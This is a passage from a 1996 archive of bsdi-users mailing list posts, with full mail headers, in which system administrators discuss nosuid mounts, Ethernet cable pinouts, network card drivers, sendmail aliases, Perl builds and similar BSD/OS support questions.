"^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA10196 for ; Tue, 19 Nov 1996 23:08:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA13284 for bsdi-users-outgoing; Tue, 19 Nov 1996 23:08:41 -0500 (EST) X-Sender: ianm@mailkwd.st.nepean.uws.edu.au Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: i.mcwilliam@st.nepean.uws.edu.au (ian mcwilliam) Sender: owner-bsdi-users@lists.gateway.com To: David Newall Cc: bsdi-users@BSDI.COM Subject: Re: Putting user directories in nosuid filesystems (Exploit for sendmail smtpd Date: Wed, 20 Nov 1996 15:08:28 +1100 >Ian, > >No argument about nosuid on /tmp. I was saying that nosuid on user >directories is not always appropriate. Of course nothing stops a >system being administered such that no ordinary user can create a >suid program, instead they have to submit their application to >administrators for installation on a disk with suid allowed. But the >bureaucratic effort required is a disincentive to even try doing "the >right thing"; hence, as I suggested, you find applications are built >without decent security. > >In fact I wonder: how do university lecturers teach students about >application security when they can't demonstrate one of mainstays >of that security, let alone students to experiment with it? > That depneds on what they are doing, we give them access to machines that they can do what they want with, but we also have a responsibility to keep the machines up and running and hack free. >Of course if one agrees that users' home directories should be on suid >volumes (and you already said you don't agree with this), it would >seem to make no difference whether or not /tmp is also on a suid volume. > No I just commented that it would be difficult with bsdi's default configuration with users home directories being under the /usr directory as well as all of the /usr/sbin, contrib/bin, /usr/bin, /usr/libexec programs that require suid. Moving the users home directories to another filesystem that has nosuid would be good. As well as /var/mail as their is one file in that directory that could be used as an exploit point. Catch ya, ____________________________________________________________________________ Ian McWilliam. Technical Officer, Faculty of Science & Technology, Dept. of Computing. University of Western Sydney, NEPEAN. P.O.Box 10 Kingswood, N.S.W, Australia. 2560. (047) 360 757 ____________________________________________________________________________ People Get Lost in Thought 'cause it's Unknown Territory. CHIP - Found on the shoulders of Systems Support Personnel. It becomes Most evident when some fool claims that the computer has made a mistake!!!! ____________________________________________________________________________ E-Mail: ianm@st.nepean.uws.edu.au i.mcwilliam@st.nepean.uws.edu.au From VM Wed Nov 20 22:26:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1481" "Tue" "19" "November" "1996" "20:10:17" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "38" "Re: UTP connector wiring" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA10200 for ; Tue, 19 Nov 1996 23:09:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA13305 for bsdi-users-outgoing; Tue, 19 Nov 1996 23:11:14 -0500 (EST) Message-Id: <3.0.1.32.19961119201007.006afda4@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb Cc: bsdi-users@BSDI.COM Subject: Re: UTP connector wiring Date: Tue, 19 Nov 1996 20:10:17 -0800 At 06:56 PM 11/19/96 -0800, Bill Webb wrote: > >Is anybody able to tell me what the wiring of the RJ45 plug is for >UTP cables? I've got a transciever that converts from BNC (which >is how I've wired my home-office), and my notebook has a new PCMCIA >UTP ethernet card that I want to use. The problem is that while >I've got a cross-connected UTP cable, the PCMCIA card comes with >its own cable with a male plug, and when I put a Female-Female >connector between them I lose most (but not all) packets. I think >it must be the connector doing it because if I move the notebook >to my "computer room" where I have a hub and directly connect it >works fine. > >Also, when using the cross-connected cable with another PCMCIA >UTP ethernet card it works just fine (under Win95 - sigh). > >If I can determine what wires to cross I can cut the cable and >make it into a cross-connect cable and hopefully everything will >then work and I can use the same card under both BSD/OS and >Win95. > 1 = TD+ 2 = TD- 3 = RD+ 6 = RD- -- +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ | Kent Ketell First Data Corporation | | Systems Administrator Electronic Funds Services | | Email: Kent_Ketell@firstdata.com | +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ The views and comments above are strictly my own. From VM Wed Nov 20 22:26:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3300" "Tue" "19" "November" "1996" "20:17:07" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "69" "Re: 100Mb Ethernet Woes. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA10470 for ; Tue, 19 Nov 1996 23:15:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA13348 for bsdi-users-outgoing; Tue, 19 Nov 1996 23:17:38 -0500 (EST) Message-Id: <3.0.1.32.19961119201704.00683dc4@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode Cc: Brad Senff , bsdi-users@BSDI.COM Subject: Re: 100Mb Ethernet Woes. Date: Tue, 19 Nov 1996 20:17:07 -0800 At 05:23 PM 11/19/96 -0700, Bill Nestlerode wrote: >Brad Senff writes: >> >> Well, I am trying to make the jump, from 10Mb to 100Mb. I have >>gone through all kinds of problems finding the right cards, been thru the >>"yeah the 3com 3c905 is IDENTICAL to the 3c595" routine (fyi, it is NOT), >>been thru the "Nope, can't get those 3c595's anymore" routine, even tried >>the SMC's listed in the ol' BSDi manual. No luck. No matter what I did I >>couldn't get them to recognize. Finally, I tried the DEC DE500. I can get >>it to recognize, right out of the box. I checked dmesg, and all is well. >>However when I try to get out of the box it fails. The computer is linked >>to a 100Mb ethernet HUB, (Compex 1208TX). I know the hub and the downlink >>to my 10Mb ethernet is fine, because when I went down the road of the >>3c905's, they would work temporarily, then if the buffer filled, it would >>lock. >> >> I saw in the archive that the de500 requires you to choose the >>WRONG type of ethernet when doing the config_netstart, so I tried that, no >>such luck. No matter what I do, it seems that the bsdi 2.1 boxes do not >>like 100Mbit. >> >> So, if any of you out there has a de500 in a box working great (at >>100Mbit, hell even at 10Mbit at this point) please forward me a copy of >>your dmesg, and netstart files, and any wisdom you may have relating to >>the above. >> >>-a very frustrated person who believes that 100Mbit is a myth- >> >>================================================================== >>== Brad Senff brad@inficad.com == >>== System Administrator Check out the web site: == >>== Inficad Computing and Design http://www.inficad.com == >>== "Ignorance is the art of not recalling the information == >>== you have not learned yet." == >>================================================================== >> >Brad: >Patch U210-003 fixes config_netstart so that you don't have to choose the >WRONG type of ethernet. You might also want to install K210-023, and build a >new kernel. It brings the de500 driver up-to-date. > Watch out for this patch. I installed it on my systems and it caused all sorts of stalls and problems. These problems are apparently due to so misalignments being generated by other systems (routers, not fixable by me), but the patched driver would not forgive them at all. >The linkarg link0 is the 10/100 switch (the man page for de talks about >IFF_LINK0). But it is not clear to me whether you want linkarg=link0 or >linkarg=-link0 in /etc/netstart. I use "-link0 link1" to be sure I get 10Mbit and "link0 -link1 link2" to be sure I get 100Mbit. Don't laugh. Using just the link0 as a switch did not work all of the time. You will know when it switches because you will get a blue bar with the text in it. -- +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ | Kent Ketell First Data Corporation | | Systems Administrator Electronic Funds Services | | Email: Kent_Ketell@firstdata.com | +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ The views and comments above are strictly my own. From VM Wed Nov 20 22:26:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1187" "Tue" "19" "November" "1996" "20:22:46" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "32" "Re: An easy way to remove a line from a file." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA10475 for ; Tue, 19 Nov 1996 23:21:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA13374 for bsdi-users-outgoing; Tue, 19 Nov 1996 23:23:40 -0500 (EST) Message-Id: <3.0.1.32.19961119202048.0069c790@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: mazz Cc: bsdi-users@BSDI.COM Subject: Re: An easy way to remove a line from a file. Date: Tue, 19 Nov 1996 20:22:46 -0800 At 08:22 PM 11/19/96 -0500, mazz wrote: >Guys & Gals, > >I'm looking for an easy way (hopefully a little c-shell command) that can be used to remove a line from a file. I keep a list of user names in a few different files. When I remove a user from my file setup I want to remove them from 2-3 different files. There's got to be an easy command or simple shell script that I can pass an email address to and it'll remove those users from all three files. > >Thanks in advance for the help. :-) > >Antonio > > Try sed '/{unique string}/d' {filename} > {newfile} where {unique string} is your email address, {filename} is the file you want to remove it from, and {newfile} is a temporary file to put the resulting stuff into. -- +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ | Kent Ketell First Data Corporation | | Systems Administrator Electronic Funds Services | | Email: Kent_Ketell@firstdata.com | +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ The views and comments above are strictly my own. From VM Wed Nov 20 22:26:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1493" "Tue" "19" "November" "1996" "23:34:53" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "35" "Re: UTP connector wiring" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA10850 for ; Tue, 19 Nov 1996 23:32:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA13428 for bsdi-users-outgoing; Tue, 19 Nov 1996 23:35:28 -0500 (EST) Reply-To: Henry Spencer In-Reply-To: <3.0.1.32.19961119201007.006afda4@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM Subject: Re: UTP connector wiring Date: Tue, 19 Nov 1996 23:34:53 -0500 (EST) > >Is anybody able to tell me what the wiring of the RJ45 plug is for > >UTP cables? It's almost always better to buy a pre-fab cable... but one pair is pins 1+2, the other is 3+6, and for a crossover cable you swap the two pairs (but not the wires within a pair). > >I've got a transciever that converts from BNC (which > >is how I've wired my home-office)... Um, are you sure that's a transceiver? A transceiver talks AUI on one side and something else on the other. Anything which has thinnet on one side and 10BaseT on the other is either a repeater or some kind of non-standard kludge (some of which actually work reasonably well, mind you). Does this "transceiver" work with other 10BaseT devices? If you don't know, check that first. > >its own cable with a male plug, and when I put a Female-Female > >connector between them I lose most (but not all) packets... What's the wiring in that F-F connector? Connectors from the telephone world almost always have an internal crossover, which is wrong for almost any network application (it's not the same as a 10BaseT crossover, in particular). You need a straight-through F-F. If what you've got is a telephone-crossover F-F, then you'll need a seriously weird cable to straighten out the mess the F-F has made -- a standard 10BaseT crossover cable won't be good enough. Henry Spencer henry@zoo.toronto.edu From VM Wed Nov 20 22:26:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2408" "Tue" "19" "November" "1996" "21:41:27" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "56" "Re: UTP connector wiring" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA12650 for ; Wed, 20 Nov 1996 00:43:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA13650 for bsdi-users-outgoing; Wed, 20 Nov 1996 00:42:09 -0500 (EST) Message-Id: <3.0.1.32.19961119214122.006ae4c8@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Henry Spencer Cc: Bill Webb , bsdi-users@BSDI.COM Subject: Re: UTP connector wiring Date: Tue, 19 Nov 1996 21:41:27 -0800 At 11:34 PM 11/19/96 -0500, Henry Spencer wrote: >> >Is anybody able to tell me what the wiring of the RJ45 plug is for >> >UTP cables? > >It's almost always better to buy a pre-fab cable... but one pair is >pins 1+2, the other is 3+6, and for a crossover cable you swap the >two pairs (but not the wires within a pair). > >> >I've got a transciever that converts from BNC (which >> >is how I've wired my home-office)... > >Um, are you sure that's a transceiver? A transceiver talks AUI on one >side and something else on the other. Anything which has thinnet on >one side and 10BaseT on the other is either a repeater or some kind >of non-standard kludge (some of which actually work reasonably well, >mind you). Does this "transceiver" work with other 10BaseT devices? >If you don't know, check that first. > >> >its own cable with a male plug, and when I put a Female-Female >> >connector between them I lose most (but not all) packets... > >What's the wiring in that F-F connector? Connectors from the telephone >world almost always have an internal crossover, which is wrong for almost >any network application (it's not the same as a 10BaseT crossover, in >particular). You need a straight-through F-F. If what you've got is a >telephone-crossover F-F, then you'll need a seriously weird cable to >straighten out the mess the F-F has made -- a standard 10BaseT crossover >cable won't be good enough. > Straight through is not a good idea. It works, but it won't work if the length gets anywhere close to maximum. It would act much like an antenna, which is probably not what you want on a data network. The pins used for a normal 10baseT cable are 1,2,3 and 6 on both ends. 1 -- 1 == Transmit Data+ 2 -- 2 == Transmit Data- 3 -- 3 == Receive Data+ 6 -- 6 == Receive Data- Typically, when you have a RJ45 on one end and a barrel on the other what you have is called a baluns. Not ethernet at all, but some other topology. -- +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ | Kent Ketell First Data Corporation | | Systems Administrator Electronic Funds Services | | Email: Kent_Ketell@firstdata.com | +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ The views and comments above are strictly my own. From VM Wed Nov 20 22:26:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1632" "Tue" "19" "November" "1996" "23:06:59" "-0800" "Henry Minsky" "hqm@ua.com" nil "42" "Meta-HTML 5.01 Source Release" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA16595 for ; Wed, 20 Nov 1996 02:06:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA15424 for bsdi-users-outgoing; Wed, 20 Nov 1996 02:07:11 -0500 (EST) Message-Id: <199611200706.XAA12997@teller.datawave.net> Precedence: bulk From: Henry Minsky Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Meta-HTML 5.01 Source Release Date: Tue, 19 Nov 1996 23:06:59 -0800 [We just finished the 5.01 release .. I added considerably to the Minerva MSQL interface, and the package has been run extensively on live sites under BSD/OS, Linux, and Solaris] Meta-HTML 5.01 Source Release Version 5.01 of Universal Access Inc.'s distribution is now available via anonymous FTP from: ftp://ftp.metahtml.com/pub/source/metahtml-5.01.tar.gz It should be available from prep.ai.mit.edu, and other GNU mirror sites within the next two weeks. ------------------------------------------------------------ What is it? is a programming language specifically designed for working within the World Wide Web environment. Although it is a genuine programming language, suitable for large-scale symbolic manipulation, it provides the most commonly wanted Web functionality as built-in primitives, so you don't have to write them. You can find out more about the theory of implementation in this white paper [http://www.metahtml.com/meta-html/manifesto.html]. Web pages are authored using HTML and statements freely intermixed. When a page is requested by a browser, the page is passed through the engine, which dynamically processes any statements to produce a final HTML page which is delivered to the browser. The source distribution provides several different interpreter options: * A CGI engine which can be run by any Unix Web server, * A full-featured Web server (mhttpd) with the interpreter built in, * A standalone processor, much like Perl or Tcl, and * An interactive debugger, with a feel similar to GDB (mdb) From VM Wed Nov 20 22:26:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["792" "Wed" "20" "November" "1996" "10:44:23" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "31" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA21239 for ; Wed, 20 Nov 1996 04:50:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA15655 for bsdi-users-outgoing; Wed, 20 Nov 1996 04:45:26 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: patrick@value.net cc: System Administrator - Greg Wiktor , "bsdi-users@bsdi.com" Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Wed, 20 Nov 1996 10:44:23 +0100 (MET) It does work... My fault... sorry ;-) On Tue, 19 Nov 1996 patrick@value.net wrote: > On Tue, 19 Nov 1996, MP wrote: > > > I made an entry: > > tescik: :include:/etc/tescik > > in my /etc/aliases and run newaliases, where /etc/tescik includes names > > of test group of users, but e-mails disapear somewhere.. ;-( > > So it doesn't work? > > > > Maciej Przybecki > > It does indeed work, I do it here. Are you sure that the file is world > readable? > > > /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ > Patrick Greenwell (510) 943-5769 voice > Systems Administrator (510) 210-2000 modem > Value Net, Inc. (510) 943-1708 fax > \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ > > > From VM Wed Nov 20 22:26:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1720" "Wed" "20" "November" "1996" "02:10:58" "-0500" "USENET News" "news@news.interactive.net" nil "42" "" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA26090 for ; Wed, 20 Nov 1996 07:55:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA16312 for bsdi-users-outgoing; Wed, 20 Nov 1996 07:47:57 -0500 (EST) Message-Id: <199611200710.CAA27269@news.interactive.net> Precedence: bulk From: USENET News Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Date: Wed, 20 Nov 1996 02:10:58 -0500 (EST) Newsgroups: info.bsdi.users Path: ritz From: ritz@onyx.interactive.net (Chris Mauritz) Subject: Re: Perl 5.003 and BSDI X-Nntp-Posting-User: ritz Sender: news@news.interactive.net (USENET News) Organization: IBS Interactive, Inc. Lines: 23 Message-ID: References: X-Trace: 848473854/27210 X-Nntp-Posting-Host: onyx.interactive.net Date: Wed, 20 Nov 1996 07:10:56 GMT Jon Drukman is rumoured to have written: :) At 9:06 AM -0400 11/19/96, Martin Durand wrote: :) >I just finished installing it myself. The only thing I did was specify :) >/usr/contrib as the installation path instead of /usr/local. The Configure :) >script recognizes bsd and supplies the correct answers to most questions. :) > :) >I did get a couple of WHOAs, but accepting the defaults resulted in a :) >working binary. :) did you run "make test" before installing? i did and it died on the gdbm :) stuff (which was a drag since it was gdbm support that i was specifically :) looking for). someone on this list sent me a modified config.sh that made :) it build and test OK though. let me know if you need it. maybe today's :) the day i'll finally remember to send that fix in to the perl developer :) group. Why would you want the gnu dbm stuff rather than the regular dbm or ndbm stuff? If you must, you can always grab the gdbm sources from prep.ai.mit.edu in /pub/gnu and build them prior to building perl. It should all build "out of the box". Chris -- Christopher Mauritz | For info on internet access: ritz@interactive.net | finger/mail info@interactive.net OR IBS Interactive, Inc. | http://www.interactive.net/ From VM Wed Nov 20 22:26:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1093" "" "20" "November" "1996" "05:37:01" "GMT" "Wayne Bouchard" "web@typo.org" nil "26" "Re: ps -aux bizareness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA26095 for ; Wed, 20 Nov 1996 07:56:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA16306 for bsdi-users-outgoing; Wed, 20 Nov 1996 07:47:48 -0500 (EST) Path: web Newsgroups: info.bsdi.users Organization: typo.org Lines: 26 Message-ID: <56u5dt$h99@typo.org> References: <199611200256.NAA07402@rebel.net.au> NNTP-Posting-Host: typo.org Precedence: bulk From: Wayne Bouchard Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: ps -aux bizareness Date: 20 Nov 1996 05:37:01 GMT David Newall wrote: : Roch Pageau wrote: : > I did a ps -aux this morning and got this fisrt entry dated Dec 31 1969. : > : > USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND : > root 7356 0.0 0.0 220 12 p0 RV 31Dec69 0:00.00 (csh) : I assume this process has a start time of 0 (c.f. time(2)); but how does : that come to be? : [Standard disclaimer: These are my private opinions] I've observed this before.. Usually, it corrects itself before you can do another ps (though on occassion, it does not). I would venture to say that the process is created and running before all the credentials are properly in place. This would be a bug within the process creation routines. While we're here.. I've also noticed on many occassions processes (such as shell processes or xterms) get stuck with an E in their status. What they're waiting on, I can't say.. no process entry for these so a trace and dump do no good. Anyone else notice this or have a clue what I can do to make them go away aside from rebooting? -Wayne From VM Wed Nov 20 22:26:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["692" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "14" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA01663 for ; Wed, 20 Nov 1996 11:22:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA16572 for bsdi-users-outgoing; Wed, 20 Nov 1996 11:05:31 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Wed Nov 20 22:26:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["365" "Wed" "20" "November" "1996" "08:51:39" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "16" "Re: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA02216 for ; Wed, 20 Nov 1996 11:48:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA16667 for bsdi-users-outgoing; Wed, 20 Nov 1996 11:46:24 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: Cat Okita cc: Bill Webb , bsdi-users@BSDI.COM, steve@prd.co.uk Subject: Re: samba + WfWG3.11 Date: Wed, 20 Nov 1996 08:51:39 -0500 (EST) On Tue, 19 Nov 1996, Cat Okita wrote: > Can you be more specific? I've never had any problems compiling SAMBA out > of the box. Are you having configuration problems? It comes with 2.1. Reading the documentation is necessary, but you often end up with more questions instead of more answers. Probably it would help if you posted a simple-sample config... From VM Wed Nov 20 22:26:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["339" "Wed" "20" "November" "1996" "02:56:54" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "25" "Re: UTP connector wiring" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA02485 for ; Wed, 20 Nov 1996 11:50:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA16706 for bsdi-users-outgoing; Wed, 20 Nov 1996 11:51:55 -0500 (EST) In-Reply-To: <199611200256.SAA28591@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM Subject: Re: UTP connector wiring Date: Wed, 20 Nov 1996 02:56:54 -0700 (MST) > Is anybody able to tell me what the wiring of the RJ45 plug is for > UTP cables? I've got a transciever that converts from BNC (which 1 Transmit + 2 Transmit - 3 Receive + 6 Receive - 4,5,7,8 not used Cross over wiring... 1,2 2,6 3,1 6,2 4,5,7,8 not used Is that what you are looking for? Edwin C. Philips edwin@tcsourceone.com From VM Wed Nov 20 22:26:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["715" "Wed" "20" "November" "1996" "20:51:23" "+0900" "Joe Kelly" "joe@gaia.gol.com" nil "19" "InterNIC Swip parser problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA02490 for ; Wed, 20 Nov 1996 11:51:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA16717 for bsdi-users-outgoing; Wed, 20 Nov 1996 11:53:57 -0500 (EST) Message-Id: Precedence: bulk From: Joe Kelly Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Cc: joe@gaia.gol.com Subject: InterNIC Swip parser problems Date: Wed, 20 Nov 1996 20:51:23 +0900 (JST) Hi, Has anyone gotten the InterNIC swip parser to build cleanly under bsdi 2.1, its giving me "conflicting types" errors and/or malloc.h problems. Ii did however build just under SunOS, but thats not really an option. Any tips/hints/ideas would be grateful, and if so can you reply to me directly . Thanks in advance & Best Regards...Joe Kelly. ______________________________________________________________________ Global OnLine Japan. Dial-Up, Leased-Line, ISDN, Web Services & More. URL: , Tel: +81-3-5341-8000, Fax: +81-3-5341-8001 ______________________________________________________________________ "Everything depends. Nothing is always. Everything is sometimes." From VM Wed Nov 20 22:26:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1052" "Wed" "20" "November" "1996" "10:54:42" "-0600" "jerry@iconnect.net" "jerry@iconnect.net" nil "31" "Re: SCSI Adapter Not seen by BSDI " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA02494 for ; Wed, 20 Nov 1996 11:52:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA16725 for bsdi-users-outgoing; Wed, 20 Nov 1996 11:54:56 -0500 (EST) In-Reply-To: <199611200027.RAA06830@tao.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: jerry Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode cc: bsdi-users@BSDI.COM Subject: Re: SCSI Adapter Not seen by BSDI Date: Wed, 20 Nov 1996 10:54:42 